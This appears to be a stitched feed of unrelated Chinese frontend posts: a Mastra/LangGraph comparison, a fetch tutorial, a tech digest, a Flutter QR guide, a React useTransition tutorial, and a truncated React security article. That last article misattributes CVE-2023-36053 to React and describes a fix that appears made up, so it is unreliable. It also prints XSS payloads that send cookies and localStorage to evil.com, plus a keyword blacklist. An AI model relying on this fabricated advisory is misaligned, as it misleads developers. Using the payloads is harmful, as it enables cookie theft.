例如用自然语言帮用户订会议室、填工单、查数据并生成报告。步骤多,有时要人工确认或回退(如"是否确认提交工单"),状态要在多轮请求间保持,甚至支持"离开页面再回来从断点继续"。这类需求用 LangGraph 的状态图和 checkpointer 更自然:节点对应步骤或人工介入,边上挂条件判断,状态持久化后刷新或重连都能恢复。用 Mastra 也能做,但分支和人工介入一多,就得自己维护"当前步骤、待确认项、历史结果",等于在业务层再造状态机,不如直接用图建模,让框架负责持久化。
场景三:多 Agent 协作(检索、生成、审核等分工)
多角色各司其职,之间有固定或动态调用关系,甚至要循环几轮才产出结果。这类编排是 LangGraph 的强项;Mastra 更适合"一个主 Agent 调若干工具"的链式交互,多 Agent 的路由和状态共享要自己写胶水代码。
场景四:向量库、模型、外部 API 集成种类多
公司内有自建向量库、多种大模型和第三方 API,希望用同一套抽象管住"检索、调用、解析"。LangChain 的集成生态在这里优势明显:Pinecone、Weaviate、Qdrant、自建 REST、各类 LLM 与 RAG 预制链和图,大多有现成包。Mastra 偏向精选常用组合,技术栈若较"非主流"(内网模型、私有协议、冷门向量库),可能要自己写适配层,把外部能力包成 Mastra 能识别的工具或模型接口。要权衡多写的适配代码是否被 Mastra 的 DX 和轻量部署抵消;若集成种类还会持续增加,直接上 LangChain 生态往往更省事。
常见误区与落地注意点
选型时容易踩的坑和落地前值得想清楚的几点,简单归纳如下。
不必纠结的两点。第一,没有"用了 Mastra 就不能用 LangChain"这回事,两者可共存,例如边缘或 BFF 用 Mastra 做轻量对话,后台用 LangGraph 做复杂管线,用 HTTP 或消息队列打通。第二,没有"LangGraph 一定比 Mastra 重"的绝对结论,重的是你要维护的图与状态逻辑;若你只需要一张简单 agent-tools 图,编译后运行时开销可接受,主要是上手成本高。
需要提前想清楚的两点。一是"先简单后复杂"时,若判断半年内会演进到多 Agent 或人机协同,可早点把复杂子流程用 LangGraph 建模,哪怕先只实现单 Agent,图结构也为后续加节点留好位置,避免以后在 Mastra 里手写状态机再迁一轮。二是"先复杂后简化"时,若团队普遍抱怨 LangChain 报错难查、概念太多,可把"单轮或短对话"抽成独立服务,用 Mastra 重写,接口不变、前端无感,逐步降维护成本。
最后,无论选哪边,都建议一开始就把"输入输出契约"(请求体格式、流式 SSE、错误码)定好,并用 TypeScript 类型或 OpenAPI 描述出来,以后换实现、做 A/B 或拆服务时,前端和网关都不必大动。
混合使用与迁移成本
不少团队会折中:简单、面向用户的 Agent 用 Mastra,部署在前端或边缘;复杂、长链路、多 Agent 的管线放后端,用 LangGraph 或 LangChain 实现,通过 API 暴露。这样既保住前端侧的开发体验和性能,又在需要复杂编排时用上 LangChain 生态。
若一开始选了 Mastra,后面业务演进到必须上状态图、多 Agent,可以只把"复杂子流程"迁到 LangGraph,用 HTTP 或消息队列和现有 Mastra Agent 对接,不必全盘重写。例如前端仍用 Mastra 做即时问答,把多步审批、长任务编排单独做成 LangGraph 服务,Mastra 在需要时调该服务 API。反过来,若一开始用 LangChain 搭了简单客服,发现维护成本高、报错难排查,可以把单轮或短对话抽成独立服务,用 Mastra 重写,逐步迁移。关键是想清楚边界(按功能、按请求路径、按团队 ownership 都行),按边界拆模块,而不是非此即彼。迁移时优先保证输入输出契约稳定(统一 JSON 请求体、流式 SSE 格式),前端或网关就不必大改。
总结与下一步
Mastra 和 LangChain(LangGraph)代表两种设计哲学:前者为前端和 TypeScript 优化,追求轻量和 DX;后者面向通用 AI 编排和复杂状态,追求生态和表达能力。没有谁一定更好,只看和你的业务场景、团队结构、集成与定制需求是否匹配。
一句话记住选型心法:Agent 是"应用里的辅助能力"、团队偏前端、要快上线,优先看 Mastra;Agent 是"业务核心"、有多 Agent、长任务、人机协同或大量冷门集成,优先看 LangGraph。两者也可组合,按模块边界拆,契约定好即可。
建议先明确两件事:当前要做的 Agent 主要负责什么(辅助功能还是核心 AI 系统),以及半年到一年内会不会出现多 Agent、长任务、复杂集成或深度定制。有了这两个问题的答案,再对照文中的对比表、决策说明和四类场景,选型会清晰很多。若你愿意说一下目前在规划的 Agent 具体负责什么业务、会接哪些系统,可以在此基础上再做一轮更细的技术栈评估和落地方案设计。文中的代码示例使用当前主流的 gpt-5.4,可直接复制后按需改模型名和 API Key 配置。
5 分钟入门 fetch
fetch API 用于发起 http 请求和处理响应。
fetch 是 XMLHttpRequest 的现代替代方案。与使用回调函数的 XMLHttpRequest 不同,fetch 基于 Promise,并且与现代 Web 的一些特性(例如 Service Workers 和 CORS(跨源资源共享))进行了集成。
async function getData() {
const url = "https://example.org/products.json";
try {
const response = await fetch(url);
if (!response.ok) {
throw new Error(`Response status: ${response.status}`);
}
const result = await response.json();
console.log(result);
} catch (error) {
// 请求被 reject 时会进入 catch
console.error(error.message);
}
}
使用 response.ok 判断 fetch 请求是否成功特别重要,因为当请求返回 404 或 500 时,fetch 返回的 Promise 不会被 reject 。
fetch 只会在无法发出请求(网络问题、CORS 失败、中止等)时 reject。当 fetch 请求被 reject 时,会被 catch 捕获。
async function testFetch() {
try {
const response = await fetch("http://localhost:9999/api/test");
console.log("响应状态:", response.status);
if (!response.ok) {
// 抛出错误,由外层的 catch 处理
throw new Error(`请求失败,状态码:${response.status}`);
}
const data = await response.json();
console.log("数据:", data);
} catch (error) {
// 请求被 reject 后会被 catch 捕获
console.error("出错了:", error.message);
}
}
testFetch();
设置 fetch 的请求方法
fetch 的配置对象中有个 method 属性,专门配置 fetch 的请求方法,比如发起 post 请求,只要把 method 属性设置为 POST 就可以了
const response = await fetch("https://example.org/post", {
method: "POST",
// …
});
设置 fetch 的请求体
fetch 配置对象中有个 body 属性,专门用于配置请求体,请求体的作用是向服务端发送数据的,比如 POST 或 PUT 请求的时候,向服务器传递有用的数据。
const response = await fetch("https://example.org/post", {
method: "POST",
body: JSON.stringify({ username: "example" }),
// …
});
需要注意的是,GET 请求中是不能包含请求体的,如果 GET 请求需要向服务端发送数据的话,则可通过 URL 参数的方式传递。
同时要将传递给 body 配置的原生 JS 对象用 JSON.stringify 包裹,因为 HTTP 协议传输的数据本质上是文本或二进制流,不支持直接传递 JS 对象。否则 JS 对象会自动序列化为 [object Object] 字符串,从而导致数据传递错误:
设置请求头
fetch 的配置对象中有个 headers 属性,用于设置请求头。
请求头(Request headers) 用于向服务器提供关于请求的信息。例如,在 POST 请求 中,Content-Type 请求头会告诉服务器请求体的数据格式。
const response = await fetch("https://example.org/post", {
method: "POST",
headers: {
"Content-Type": "application/json",
},
body: JSON.stringify({ username: "example" }),
// …
});
在 GET 请求中发送数据
GET 请求没有请求体,因此不能像 POST 请求那样通过 body 配置发送数据。GET 请求是通过 URL 查询参数发送数据的。
有三种设置 GET 请求的查询参数
-
手动拼接
URL -
使用
URLSearchParams构建查询参数 -
使用
URL对象操作
手动拼接 URL 示例
const userId = 123;
const page = 2;
fetch(`https://api.example.com/users?id=${userId}&page=${page}`)
.then((response) => response.json())
.then((data) => console.log(data));
使用 URLSearchParams 构建查询参数示例
const params = new URLSearchParams({
id: 123,
page: 2,
name: "John Doe", // 特殊字符会被自动编码
});
fetch(`https://api.example.com/users?${params}`)
.then((response) => response.json())
.then((data) => console.log(data));
使用 URL 对象操作示例
const url = new URL("https://api.example.com/users");
url.searchParams.append("id", 123);
url.searchParams.append("page", 2);
fetch(url)
.then((response) => response.json())
.then((data) => console.log(data));
处理响应体
使用 fetch 发送完请求后,会得到服务器的响应对象 Response,然后数据会在 Response 对象的响应体中。要读取响应体,需要调用 Response 提供的读取方法。
Response 对象提供了 5 种读取响应体的方法:
-
response.json(),读取 json 数据 -
response.text(),读取文本数据 -
response.blob(),读取二进制文件 -
response.arrayBuffer(),读取二进制数据 -
response.formData(),读取表单数据
以上 5 种方法都是异步的,并且都返回 Promise。
const response = await fetch("/api/data");
const data = await response.json();
const response = await fetch("/api/text");
const text = await response.text();
const response = await fetch("/image.png");
const blob = await response.blob();
// response.arrayBuffer()通常用于底层二进制处理
const response = await fetch("/file.bin");
const buffer = await response.arrayBuffer();
const response = await fetch("/form");
const formData = await response.formData();
参考
栗子前端技术周刊第 120 期 - Vite 8.0、Solid v2.0.0 Beta、TypeScript 6.0 RC...
🌰栗子前端技术周刊第 120 期 (2026.03.09 - 2026.03.15):浏览前端一周最新消息,学习国内外优秀文章,让我们保持对前端的好奇心。
📰 技术资讯
-
Vite 8.0:Vite 8.0 正式发布,本次版本设计为平滑升级,底层有大量改动:@vitejs/plugin-react v6 不再需要 Babel(由 Oxc 替代)、Rolldown 替换了 Rollup 与 esbuild(Vite 团队由衷感谢 Rollup 与 esbuild 的维护者们,没有他们,Vite 不可能取得今天的成功)、支持 Wasm SSR、浏览器控制台日志转发到终端、性能大幅提升(构建速度提升 10~30 倍,同时保持完整的插件兼容性)。
-
Solid v2.0.0 Beta:经过漫长的实验阶段,Solid 2.0 的首个测试版正式登场,带来了一流的异步支持:计算函数现在可以返回 Promise 或异步迭代对象。
<Suspense>已被废弃,初始渲染改用<Loading>组件;数据变更则迎来内置的action()功能,自带乐观更新支持。 -
TypeScript 6.0 RC:TypeScript 6.0 候选版本(RC)已发布, v6.0 主要是为今年晚些时候推出的基于 Go 语言重构的原生 TypeScript 7.0 铺路,本次对 tsconfig.json 所做的所有必要调整,都能让你为未来版本做好准备。
-
TC39 会议:在本周的 TC39 会议上,Temporal 提案正式进入 Stage 4 阶段。
📒 技术文章
-
Seven Years to TypeScript: Migrating 11,000 Files at Patreon:用七年迁移到 TypeScript:Patreon 完成 11,000 个文件的改造 - 这个知名创作者平台曾拥有百万行 JavaScript 代码。尽管新项目接入 TypeScript 进展顺利,但全量改造旧代码仍是一项艰巨任务,这篇复盘文章介绍了其中用到的工具与技术方案。
-
用 Three.js 写了一个《我的世界》:本文作者分享用 Three.js 开发《我的世界》风格游戏项目的经历,该项目包含菜单、角色控制、相机等系统,有昼夜循环、挖掘放置等玩法。
-
Agent Skill 是什么?:文中介绍了一个 Skill 有三层结构,分别是 Metadata、Instruction、Resources,三层各司其职,还提到设计 Skill 要注意粒度和描述精准。
🔧 开发工具
- RevoGrid:一款专为海量数据集打造的高性能数据表格控件,支持与 Vue、Angular、React、Svelte 集成,也可直接在原生 JavaScript 中使用
- All SVG Icons:来自 200 多个精选图标库的 250,000+ 免费 SVG 图标,界面设计精美、使用简单,内容非常丰富。
- Emittery 2.0:简洁、现代化的异步事件发射器。
🚀🚀🚀 以上资讯文章选自常见周刊,如 JavaScript Weekly 等,周刊内容也会不断优化改进,希望你们能够喜欢。
💖 欢迎关注微信公众号:栗子前端
Flutter使用pretty_qr_code生成高颜值二维码
前言
最近在项目里需要实现自定义样式、带Logo、渐变色的高颜值二维码功能,对比多款插件后,pretty_qr_code凭借丰富的定制能力、简洁API和多平台适配性脱颖而出。
本文基于pretty_qr_code: ^3.6.0版本编写,适配Flutter 3.0+,支持iOS、Android、Windows、Web全平台,可满足基础生成、样式定制、Logo嵌入、图片导出等全场景需求。
官方文档:传送门
1. 插件核心API
pretty_qr_code的核心由主组件与装饰配置类组成,参数清晰易扩展,是实现定制化二维码的核心。
1.1 核心组件:PrettyQrView
负责渲染二维码的主组件,支持直接传入数据快速生成。
| 属性 | 类型 | 必填 | 说明 |
|---|---|---|---|
| data | String | 是 | 二维码承载的内容(链接/文本/数字等) |
| size | double | 否 | 二维码尺寸,默认自适应父容器 |
| decoration | PrettyQrDecoration | 否 | 二维码样式装饰(形状/颜色/Logo) |
| errorCorrectionLevel | QrErrorCorrectLevel | 否 | 纠错级别,默认high(30%容错) |
| backgroundColor | Color | 否 | 二维码背景色,默认白色 |
| clipBehavior | Clip | 否 | 裁剪模式,默认Clip.hardEdge |
1.2 核心配置类:PrettyQrDecoration
二维码样式定制核心,控制形状、颜色、Logo、边距等。
| 属性 | 类型 | 说明 |
|---|---|---|
| shape | PrettyQrShape | 码点形状(方形/圆形/圆角/水滴等) |
| color | Color | 二维码纯色(与渐变二选一) |
| gradient | Gradient | 二维码渐变色(与纯色二选一) |
| image | PrettyQrDecorationImage | 中间嵌入的Logo配置 |
| quietZone | PrettyQrQuietZone | 二维码边距(空白区域) |
1.3 常用枚举/子类
-
PrettyQrShape:square(方形)、circle(圆形)、rounded(圆角)、fluid(水滴)、diamond(菱形) -
QrErrorCorrectLevel:low(7%)、medium(15%)、quartile(25%)、high(30%) -
PrettyQrDecorationImage:配置Logo图片、尺寸、边距
2. 基础使用
2.1 引入依赖
在pubspec.yaml中添加最新版依赖:
dependencies:
flutter:
sdk: flutter
pretty_qr_code: ^3.6.0
执行flutter pub get安装依赖。
2.2 最简二维码生成
无需任何定制,一行代码生成标准二维码:
import 'package:flutter/material.dart';
import 'package:pretty_qr_code/pretty_qr_code.dart';
// 最简二维码
PrettyQrView.data(
data: 'https://flutter.dev', // 二维码内容
size: 200, // 尺寸
)
2.3 带基础样式的二维码
快速配置形状与颜色,提升美观度:
PrettyQrView.data(
data: 'https://flutter.dev',
size: 200,
decoration: const PrettyQrDecoration(
// 圆形码点
shape: PrettyQrShape.circle(),
// 二维码颜色
color: Color(0xFF6200EE),
// 边距
quietZone: PrettyQrQuietZone.standard,
),
)
3. 高级功能定制
3.1 自定义码点形状
支持多种预设形状,轻松切换风格:
// 圆角码点
PrettyQrShape.rounded(radius: 8)
// 水滴形状
PrettyQrShape.fluid()
// 菱形码点
PrettyQrShape.diamond()
3.2 渐变色二维码
告别单色,支持线性/径向渐变:
PrettyQrView.data(
data: 'https://flutter.dev',
size: 200,
decoration: PrettyQrDecoration(
shape: const PrettyQrShape.rounded(),
// 线性渐变
gradient: const LinearGradient(
colors: [Color(0xFF6200EE), Color(0xFF03DAC6)],
begin: Alignment.topLeft,
end: Alignment.bottomRight,
),
),
)
3.3 嵌入中间Logo
支持本地资源/网络图片Logo,自带容错保护:
PrettyQrView.data(
data: 'https://flutter.dev',
size: 220,
decoration: const PrettyQrDecoration(
shape: PrettyQrShape.circle(),
color: Color(0xFF6200EE),
// 嵌入Logo
image: PrettyQrDecorationImage(
image: AssetImage('assets/images/logo.png'), // 本地图片
// image: NetworkImage('https://xxx.com/logo.png'), // 网络图片
size: 40, // Logo尺寸
padding: EdgeInsets.all(4), // Logo内边距
),
),
)
3.4 自定义纠错级别
根据场景调整容错率,Logo较大时建议用最高级别:
PrettyQrView.data(
data: 'https://flutter.dev',
// 最高纠错级别(30%容错,适合带大Logo)
errorCorrectionLevel: QrErrorCorrectLevel.high,
)
3.5 自定义背景与边框
PrettyQrView.data(
data: 'https://flutter.dev',
size: 200,
backgroundColor: const Color(0xFFF5F5F5), // 背景色
decoration: const PrettyQrDecoration(
shape: PrettyQrShape.square(),
color: Color(0xFF2196F3),
),
)
4. 二维码导出与保存
pretty_qr_code仅负责渲染,导出图片需结合flutter_screenutil、screenshot、gal插件实现截图→保存相册,适配全平台。
4.1 新增依赖
dependencies:
pretty_qr_code: ^3.6.0
screenshot: ^3.0.0
gal: ^2.3.2
permission_handler: ^11.3.1
4.2 权限配置
-
Android(
AndroidManifest.xml):
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" android:maxSdkVersion="32"/>
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" android:maxSdkVersion="32"/>
-
iOS(
Info.plist):
<key>NSPhotoLibraryAddUsageDescription</key>
<string>需要访问相册以保存二维码图片</string>
4.3 导出保存代码实现
import 'package:flutter/material.dart';
import 'package:pretty_qr_code/pretty_qr_code.dart';
import 'package:screenshot/screenshot.dart';
import 'package:gal/gal.dart';
import 'package:permission_handler/permission_handler.dart';
class QrCodeExportPage extends StatefulWidget {
const QrCodeExportPage({super.key});
@override
State<QrCodeExportPage> createState() => _QrCodeExportPageState();
}
class _QrCodeExportPageState extends State<QrCodeExportPage> {
final ScreenshotController _screenshotController = ScreenshotController();
// 保存二维码到相册
Future<void> _saveQrCodeToGallery() async {
// 申请权限
final status = await Permission.storage.request();
if (!status.isGranted) {
debugPrint('权限申请失败');
return;
}
// 截图
final imageBytes = await _screenshotController.capture(
pixelRatio: 2.0, // 高清导出
delay: const Duration(milliseconds: 20),
);
if (imageBytes == null) {
debugPrint('截图失败');
return;
}
// 保存到相册
await Gal.putImageBytes(imageBytes, album: 'Flutter二维码');
debugPrint('保存成功');
}
@override
Widget build(BuildContext context) {
return Scaffold(
appBar: AppBar(title: const Text('二维码导出')),
body: Center(
child: Screenshot(
controller: _screenshotController,
child: PrettyQrView.data(
data: 'https://flutter.dev',
size: 200,
decoration: const PrettyQrDecoration(
shape: PrettyQrShape.circle(),
color: Color(0xFF6200EE),
image: PrettyQrDecorationImage(
image: AssetImage('assets/images/logo.png'),
size: 40,
),
),
),
),
),
floatingActionButton: FloatingActionButton(
onPressed: _saveQrCodeToGallery,
child: const Icon(Icons.save),
),
);
}
}
5. 注意事项
-
Logo大小限制:Logo尺寸建议不超过二维码整体的20%,避免扫码失败;纠错级别建议使用
high。 -
图片模糊问题:导出时将
pixelRatio设为1.5~3.0,可提升清晰度,兼顾体积与画质。 - Platform View不兼容:二维码内嵌套WebView、地图等原生组件会渲染异常,仅支持Flutter纯组件。
- 数据长度限制:内容越长二维码越复杂,建议短链接/精简文本,过长会降低扫码成功率。
-
Web平台适配:导出图片需通过浏览器API处理,
captureAndSave不支持Web端。 - 性能优化:页面内大量渲染二维码时,建议固定尺寸并缓存组件,避免重复重建。
6. 总结
pretty_qr_code 3.6.0是Flutter生态中定制能力最强、使用最简单的二维码生成插件,完美覆盖:
- 基础二维码快速生成
- 形状/颜色/渐变全样式定制
- 中间Logo嵌入
- 高清导出与相册保存
配合截图与权限插件,可快速实现商业级二维码功能,适配全平台、易扩展、易维护,是开发中生成高颜值二维码的首选方案。
本文仅是基础案例,实际项目可结合主题、动画、交互实现更丰富的二维码效果,欢迎在评论区交流探讨~
本次分享就到这儿啦,我是鹏多多,深耕前端的技术创作者,如果您看了觉得有帮助,欢迎评论,关注,点赞,转发,我们下次见~
PS:在本页按F12,在console中输入document.getElementsByClassName('panel-btn')[0].click();有惊喜哦~
往期文章
- Flutter使用Gal展示和保存图片资源
- Flutter使用package_info_plus库获取应用信息的教程
- Flutter下拉刷新上拉加载侧拉刷新插件:easy_refresh全面使用指南
- Flutter-使用EventBus实现组件间数据通信
- Flutter输入框TextField的属性与实战用法全面解析+示例
- Flutter自定义日历table_calendar完全指南+案例
- Flutter-屏幕自适应插件flutter_screenutil教程全指南
- Flutter-使用url_launcher打开链接/应用/短信/邮件和评分跳转等
- Flutter图片选择库multi_image_picker_plus和image_picker的对比和使用解析
- 解锁Flutter弹窗新姿势:dialog-flutter_smart_dialog插件解读+案例
- Flutter-切换状态显示不同组件10种实现方案全解析
- Flutter-详解控制组件显示的两种方式Offstage与Visibility
- Flutter-使用AnimatedDefaultTextStyle实现文本动画
- Flutter-使用SafeArea组件处理各机型的安全距离
- Flutter-实现渐变色边框背景以及渐变色文字
- Flutter-使用confetti制作炫酷纸屑爆炸粒子动画
React useTransition:让 UI 更新更丝滑的并发特性
一、为什么需要 useTransition
在 React 中,所有状态更新默认都是紧急的,会立即阻塞 UI。
function SearchPage() {
const [query, setQuery] = useState('');
const [results, setResults] = useState([]);
const handleChange = (e) => {
const value = e.target.value;
setQuery(value); // 紧急更新
// 耗时的过滤操作
const filtered = hugeList.filter(item =>
item.name.includes(value)
);
setResults(filtered); // 也是紧急更新,会卡顿
};
return (
<>
<input value={query} onChange={handleChange} />
<Results data={results} />
</>
);
}
问题:输入时会卡顿,因为每次输入都要等待过滤完成。
二、useTransition 的解决方案
useTransition 可以将某些更新标记为"非紧急",让 React 优先处理用户交互。
import { useState, useTransition } from 'react';
function SearchPage() {
const [query, setQuery] = useState('');
const [results, setResults] = useState([]);
const [isPending, startTransition] = useTransition();
const handleChange = (e) => {
const value = e.target.value;
setQuery(value); // 紧急更新,立即响应
startTransition(() => {
// 非紧急更新,可以被打断
const filtered = hugeList.filter(item =>
item.name.includes(value)
);
setResults(filtered);
});
};
return (
<>
<input value={query} onChange={handleChange} />
{isPending && <Spinner />}
<Results data={results} />
</>
);
}
效果:输入流畅,过滤操作在后台进行。
三、核心概念
返回值
const [isPending, startTransition] = useTransition();
-
isPending: 是否有待处理的 transition -
startTransition: 将更新标记为 transition
紧急 vs 非紧急更新
// 紧急更新:立即执行,不可打断
setQuery(value);
// 非紧急更新:可以被打断,延迟执行
startTransition(() => {
setResults(filtered);
});
四、实战场景
场景 1:搜索过滤
function ProductList() {
const [searchTerm, setSearchTerm] = useState('');
const [filteredProducts, setFilteredProducts] = useState(products);
const [isPending, startTransition] = useTransition();
const handleSearch = (value) => {
setSearchTerm(value);
startTransition(() => {
const filtered = products.filter(p =>
p.name.toLowerCase().includes(value.toLowerCase())
);
setFilteredProducts(filtered);
});
};
return (
<>
<input
value={searchTerm}
onChange={e => handleSearch(e.target.value)}
placeholder="搜索商品..."
/>
{isPending && <div className="loading">搜索中...</div>}
<div className="products">
{filteredProducts.map(p => (
<ProductCard key={p.id} {...p} />
))}
</div>
</>
);
}
场景 2:Tab 切换
function TabContainer() {
const [tab, setTab] = useState('home');
const [isPending, startTransition] = useTransition();
const handleTabChange = (newTab) => {
startTransition(() => {
setTab(newTab); // 切换 tab 是非紧急的
});
};
return (
<>
<div className="tabs">
<button
onClick={() => handleTabChange('home')}
className={tab === 'home' ? 'active' : ''}
>
首页
</button>
<button
onClick={() => handleTabChange('profile')}
className={tab === 'profile' ? 'active' : ''}
>
个人中心
</button>
</div>
{isPending && <LoadingBar />}
<div className="tab-content">
{tab === 'home' && <HomePage />}
{tab === 'profile' && <ProfilePage />}
</div>
</>
);
}
场景 3:路由切换
function App() {
const [page, setPage] = useState('home');
const [isPending, startTransition] = useTransition();
const navigate = (newPage) => {
startTransition(() => {
setPage(newPage);
});
};
return (
<>
<nav>
<button onClick={() => navigate('home')}>首页</button>
<button onClick={() => navigate('about')}>关于</button>
<button onClick={() => navigate('contact')}>联系</button>
</nav>
{isPending && <TopLoadingBar />}
<main>
{page === 'home' && <Home />}
{page === 'about' && <About />}
{page === 'contact' && <Contact />}
</main>
</>
);
}
五、与 useDeferredValue 对比
// useTransition:主动标记更新
const [isPending, startTransition] = useTransition();
startTransition(() => {
setValue(newValue);
});
// useDeferredValue:被动延迟值
const deferredValue = useDeferredValue(value);
| 特性 | useTransition | useDeferredValue |
|---|---|---|
| 使用方式 | 包裹更新函数 | 包裹值 |
| 控制权 | 主动控制 | 被动延迟 |
| isPending | 有 | 无 |
| 适用场景 | 控制更新时机 | 延迟渲染 |
六、注意事项
1. 只能在 transition 中更新 state
// ✅ 正确
startTransition(() => {
setState(newValue);
});
// ❌ 错误:不能包含异步操作
startTransition(async () => {
const data = await fetchData();
setState(data);
});
2. 异步操作需要特殊处理
const handleClick = async () => {
const data = await fetchData();
startTransition(() => {
setState(data); // 只有 setState 在 transition 中
});
};
3. 不要过度使用
// ❌ 不需要:简单的状态更新
startTransition(() => {
setCount(count + 1);
});
// ✅ 需要:耗时的计算或渲染
startTransition(() => {
setResults(expensiveFilter(data));
});
七、性能优化
配合 memo 使用
const ExpensiveList = memo(({ items }) => {
return items.map(item => <ExpensiveItem key={item.id} {...item} />);
});
function App() {
const [query, setQuery] = useState('');
const [items, setItems] = useState(allItems);
const [isPending, startTransition] = useTransition();
const handleSearch = (value) => {
setQuery(value);
startTransition(() => {
setItems(allItems.filter(i => i.name.includes(value)));
});
};
return (
<>
<input value={query} onChange={e => handleSearch(e.target.value)} />
{isPending && <Spinner />}
<ExpensiveList items={items} />
</>
);
}
八、与 Suspense 配合
function App() {
const [tab, setTab] = useState('home');
const [isPending, startTransition] = useTransition();
return (
<>
<Tabs value={tab} onChange={(t) => {
startTransition(() => setTab(t));
}} />
<Suspense fallback={<Skeleton />}>
{isPending && <InlineSpinner />}
{tab === 'home' && <Home />}
{tab === 'posts' && <Posts />}
</Suspense>
</>
);
}
深入探究 React 史上最大安全漏洞
一、一个让 Meta 紧急发布补丁的漏洞
2023 年 9 月,安全研究员 Masato Kinugawa 发现了 React 的一个严重安全漏洞(CVE-2023-36053),影响范围包括:
- React 16.0.0 到 18.2.0
- Next.js 13.4.0 之前的所有版本
- 所有使用 Server Components 的应用
Meta 紧急发布了 React 18.2.1 修复此漏洞。这是 React 历史上影响最大的安全漏洞之一。
二、漏洞原理:从 SSR 到 XSS
2.1 Server Components 的工作原理
// Server Component
async function UserProfile({ userId }) {
const user = await db.users.findOne({ id: userId });
return (
<div>
<h1>{user.name}</h1>
<p>{user.bio}</p>
</div>
);
}
Server Components 在服务端渲染,返回的不是 HTML,而是一种特殊的 JSON 格式:
{
"type": "div",
"props": {
"children": [
{
"type": "h1",
"props": { "children": "Alice" }
},
{
"type": "p",
"props": { "children": "Hello, I'm Alice" }
}
]
}
}
2.2 漏洞触发条件
// 危险代码
async function UserProfile({ userId }) {
const user = await db.users.findOne({ id: userId });
// 如果 user.bio 包含恶意代码
return (
<div>
<h1>{user.name}</h1>
<div dangerouslySetInnerHTML={{ __html: user.bio }} />
</div>
);
}
攻击场景:
- 攻击者注册账号,bio 填写:
<img src=x onerror="fetch('https://evil.com?cookie='+document.cookie)">
- 服务端渲染时,React 将其序列化为 JSON
- 客户端接收 JSON 并渲染
- XSS 代码执行,窃取用户 cookie
2.3 为什么会有这个漏洞?
React 在序列化 Server Components 时,没有正确转义某些特殊字符:
// React 18.2.0 的序列化代码(简化版)
function serializeComponent(component) {
return JSON.stringify(component); // 问题:没有转义特殊字符
}
问题:JSON.stringify 不会转义 <script> 标签中的内容
const data = { html: '<script>alert("XSS")</script>' };
const json = JSON.stringify(data);
// 结果:{"html":"<script>alert(\"XSS\")</script>"}
// 插入到 HTML 中
<script>
const data = {"html":"<script>alert(\"XSS\")</script>"};
</script>
// 浏览器会执行内部的 <script> 标签
三、漏洞复现
3.1 搭建测试环境
# 使用有漏洞的版本
npm install react@18.2.0 react-dom@18.2.0 next@13.3.0
// app/profile/[id]/page.jsx
import { db } from '@/lib/db';
export default async function ProfilePage({ params }) {
const user = await db.users.findOne({ id: params.id });
return (
<div>
<h1>{user.name}</h1>
<div dangerouslySetInnerHTML={{ __html: user.bio }} />
</div>
);
}
3.2 构造攻击载荷
// 注册恶意用户
await db.users.create({
name: 'Attacker',
bio: `
<img src=x onerror="
fetch('https://evil.com/steal', {
method: 'POST',
body: JSON.stringify({
cookie: document.cookie,
localStorage: localStorage,
url: location.href
})
})
">
`
});
3.3 攻击效果
- 受害者访问攻击者的个人主页
- Server Component 渲染恶意代码
- 客户端执行 XSS
- 攻击者服务器收到受害者的敏感信息
四、漏洞修复
4.1 React 18.2.1 的修复
// React 18.2.1 的序列化代码(简化版)
function serializeComponent(component) {
const json = JSON.stringify(component, (key, value) => {
if (typeof value === 'string') {
// 转义特殊字符
return value
.replace(/</g, '\\u003c')
.replace(/>/g, '\\u003e')
.replace(/\//g, '\\u002f');
}
return value;
});
return json;
}
修复原理:将 <、>、/ 转义为 Unicode 转义序列
// 修复前
{"html":"<script>alert(\"XSS\")</script>"}
// 修复后
{"html":"\\u003cscript\\u003ealert(\"XSS\")\\u003c/script\\u003e"}
4.2 升级指南
# 升级 React
npm install react@18.2.1 react-dom@18.2.1
# 升级 Next.js
npm install next@13.4.1
# 检查其他依赖
npm audit
五、防御措施
5.1 输入验证
// 服务端验证
function validateUserInput(input) {
// 1. 长度限制
if (input.length > 1000) {
throw new Error('Input too long');
}
// 2. 黑名单过滤
const blacklist = ['<script', 'javascript:', 'onerror=', 'onload='];
for (const keyword of blacklist) {
if (input.toLowerCase().includes(keyword)) {
throw new Error('Invalid input');
}
}
// 3. HTML 标签白名单
const allowedTags = ['b', 'i', 'u', 'p', 'br'];
// 使用 DOMPurify 或类似库
return sanitizeHTML(input, { allowedTags });
}
5.2 输出转义
// 使用 React 的自动转义
function UserProfile({ user }) {
return (
<div>
<h1>{user.name}</h1>
{/* React 会自动转义 */}
<p>{user.bio}</p>
</div>
);
}
// 避免使用 dangerouslySetInnerHTML
// 如果必须使用,先消毒
import DOMPurify from 'isomorphic-dompurify';
function UserProfile({ user }) {
const cleanBio = DOMPurify.sanitize(user.bio);
return (
<div>
<h1>{user.name}</h1>
<div dangerouslySetInnerHTML={{ __html: cleanBio }} />
</div>
);
}
5.3 Content Security Policy
// next.config.js
module.exports = {
async headers() {
return [
{
source: '/:path*',
headers: [
{
key: 'Content-Security-Policy',
value: [
"default-src 'self'",
"script-src 'self' 'unsafe-inline' 'unsafe-eval'",
"style-src 'self' 'unsafe-inline'",
"img-src 'self' data: https:",
"font-src 'self' data:",
"connect-src 'self' https://api.example.com"
].join('; ')
}
]
}
];
}
};
5.4 HttpOnly Cookie
// 设置 HttpOnly cookie
res.setHeader('Set-Cookie', [
`token=${token}; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=3600`
]);
// JavaScript 无法访问 HttpOnly cookie
console.log(document.cookie); // 看不到 token
六、安全最佳实践
6.1 代码审查清单
- 所有用户输入都经过验证和消毒
- 避免使用
dangerouslySetInnerHTML - 使用 CSP 限制脚本执行
- Cookie 设置 HttpOnly 和 Secure
- 定期更新依赖
- 使用
npm audit检查漏洞
6.2 自动化安全检查
# .github/workflows/security.yml
name: Security Check
on: [push, pull_request]
jobs:
security:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: Run npm audit
run: npm audit --audit-level=moderate
- name: Run Snyk
uses: snyk/actions/node@master
env:
SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }}
6.3 运行时监控
// 使用 Sentry 监控 XSS 攻击
import * as Sentry from '@sentry/nextjs';
Sentry.init({
dsn: process.env.SENTRY_DSN,
beforeSend(event) {
// 检测可疑的 XSS 行为
if (event.exception) {
const error = event.exception.values[0];
if (error.value.includes('<script>') || error.value.includes('onerror=')) {
// 标记为潜在的 XSS 攻击
